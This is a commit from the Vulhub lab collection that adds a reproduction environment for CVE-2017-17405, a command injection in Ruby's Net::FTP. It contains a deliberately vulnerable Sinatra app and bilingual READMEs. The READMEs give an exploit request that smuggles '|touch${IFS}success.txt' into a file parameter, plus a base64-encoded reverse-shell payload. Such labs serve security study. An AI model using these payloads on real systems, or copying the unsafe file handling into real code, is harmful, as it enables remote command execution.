first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
ruby/CVE-2017-17405/1.png
Normal file
BIN
ruby/CVE-2017-17405/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 26 KiB |
BIN
ruby/CVE-2017-17405/2.png
Normal file
BIN
ruby/CVE-2017-17405/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 3.3 KiB |
BIN
ruby/CVE-2017-17405/3.png
Normal file
BIN
ruby/CVE-2017-17405/3.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 14 KiB |
59
ruby/CVE-2017-17405/README.md
Normal file
59
ruby/CVE-2017-17405/README.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# Ruby Net::FTP Module Command Injection (CVE-2017-17405)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Ruby Net::FTP module is a FTP library provided by Ruby core.
|
||||
|
||||
Ruby before 2.4.3 allows Net::FTP command injection. `Net::FTP#get`, `getbinaryfile`, `gettextfile`, `put`, `putbinaryfile`, and `puttextfile` use `Kernel#open` to open a local file. If the localfile argument starts with the "|" pipe character, the command following the pipe character is executed. The default value of localfile is `File.basename(remotefile)`, so malicious FTP servers could cause arbitrary command execution.
|
||||
|
||||
References:
|
||||
|
||||
- <https://blog.heroku.com/identifying-ruby-ftp-cve>
|
||||
- <https://www.exploit-db.com/exploits/43381>
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following command to start a Ruby 2.4.1 webserver that uses Net::FTP to download FTP file:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, a simple webserver is running on `http://your-ip:8080/`. What this server does is that when we visit `http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`, it downloads the file `vulhub.txt` from FTP server `example.com:2121`.
|
||||
|
||||
## Exploit
|
||||
|
||||
Since this is an FTP client vulnerability, we have to to run a simple FTP server that can be accessed. For example, using Python's pyftpdlib:
|
||||
|
||||
```
|
||||
# intsall pyftpdlib
|
||||
pip install pyftpdlib
|
||||
|
||||
# start a FTP server on `0.0.0.0:2121`
|
||||
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
|
||||
```
|
||||
|
||||
Then, use this FTP server address as the *uri* parameter and the payload `|touch${IFS}success.txt` as the *file* parameter in following request:
|
||||
|
||||
```
|
||||
GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
|
||||
Host: localhost:8080
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
|
||||
Connection: close
|
||||
Cache-Control: max-age=0
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
Go into the docker container, you can see the `success.txt` has been created successfully:
|
||||
|
||||

|
||||
|
||||
Change the payload to `|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'` and get a reverse shell:
|
||||
|
||||

|
57
ruby/CVE-2017-17405/README.zh-cn.md
Normal file
57
ruby/CVE-2017-17405/README.zh-cn.md
Normal file
@@ -0,0 +1,57 @@
|
||||
# Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)
|
||||
|
||||
Ruby Net::FTP 模块在Ruby中用于处理和FTP协议相关的功能。
|
||||
|
||||
Ruby 2.4.3版本前,Net::FTP 模块在上传和下载文件时使用了`open`函数。而`open`函数借用系统命令来打开文件,且未过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://blog.heroku.com/identifying-ruby-ftp-cve>
|
||||
- <https://www.exploit-db.com/exploits/43381>
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令使用Ruby 2.4.1启动一个Web服务:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:8080/`将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问`http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`,它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地,并将内容返回给用户。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
因为这是一个FTP客户端的漏洞,所以我们需要先运行一个可以被访问到的服务端。比如使用python的pyftpdlib:
|
||||
|
||||
```
|
||||
# 安装pyftpdlib
|
||||
pip install pyftpdlib
|
||||
|
||||
# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口
|
||||
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
|
||||
```
|
||||
|
||||
然后,将刚才启动的FTP服务器地址作为*uri*参数,`|touch${IFS}success.txt`作为*file*参数,替换进下面的请求发送:
|
||||
|
||||
```
|
||||
GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
|
||||
Host: localhost:8080
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
|
||||
Connection: close
|
||||
Cache-Control: max-age=0
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
然后进入docker容器内,可见success.txt已被创建:
|
||||
|
||||

|
||||
|
||||
执行反弹shell的命令`|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'`,成功反弹:
|
||||
|
||||

|
10
ruby/CVE-2017-17405/docker-compose.yml
Normal file
10
ruby/CVE-2017-17405/docker-compose.yml
Normal file
@@ -0,0 +1,10 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/ruby:2.4.1
|
||||
command: ruby web.rb -p 8080 -o 0.0.0.0
|
||||
working_dir: /usr/src
|
||||
volumes:
|
||||
- ./web.rb:/usr/src/web.rb
|
||||
ports:
|
||||
- "8080:8080"
|
27
ruby/CVE-2017-17405/web.rb
Normal file
27
ruby/CVE-2017-17405/web.rb
Normal file
@@ -0,0 +1,27 @@
|
||||
require 'sinatra'
|
||||
require 'net/ftp'
|
||||
require 'uri'
|
||||
|
||||
get '/' do
|
||||
'Use /download?uri=ftp://127.0.0.1:2121/&file=/path/to/file.txt to download a ftp file.'
|
||||
end
|
||||
|
||||
get '/download' do
|
||||
content_type 'application/octet-stream'
|
||||
|
||||
begin
|
||||
uri = URI.parse(params['uri'])
|
||||
|
||||
ftp = Net::FTP.new
|
||||
ftp.connect(uri.host, uri.port)
|
||||
ftp.login(uri.user || 'anonymous', uri.password)
|
||||
ftp.getbinaryfile(params['file'])
|
||||
ftp.close
|
||||
rescue
|
||||
return '404 Not Found'
|
||||
end
|
||||
|
||||
File.open(params['file'], 'rb') {|f|
|
||||
return f.read
|
||||
}
|
||||
end
|
Reference in New Issue
Block a user